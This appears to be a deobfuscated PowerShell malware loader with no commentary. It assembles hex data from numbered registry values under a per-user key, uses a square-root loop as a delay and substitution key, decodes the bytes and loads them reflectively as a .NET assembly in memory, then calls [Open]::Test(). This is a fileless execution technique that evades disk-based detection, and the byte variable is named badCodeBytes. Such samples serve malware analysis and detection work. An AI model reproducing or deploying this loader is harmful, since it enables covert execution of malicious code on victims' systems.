environment-cleaned.ps1

<# hljnagvaw #>$u=$env:UserName;
for ($counter=0; $counter -le 700; $counter++){
    $pathToRegKey="HKCU:\SOFTWARE\"+$u+"1";
    Try{
        $a=$a+(Get-ItemProperty -path $pathToRegKey).$counter
    } 
    Catch{}
};

function StringToBytes{[cmdletbinding()]
    param([parameter(Mandatory=$true)][String]$hs);
    $Bytes = [byte[]]::new($hs.Length / 2);
    for($counter=0; $counter -lt $hs.Length;$counter+=2){
        $Bytes[$counter/2] = [convert]::ToByte($hs.Substring($counter, 2), 16)
    }
        
$Bytes};

$counter = 0;
While ($True){
    $counter++; $ko = [math]::Sqrt($counter);
    if ($ko -eq 1000){ 
        break
    }
}

[byte[]]$badCodeBytes= StringToBytes($a.replace("#",$ko));
[Reflection.Assembly]::Load($badCodeBytes);
[Open]::Test();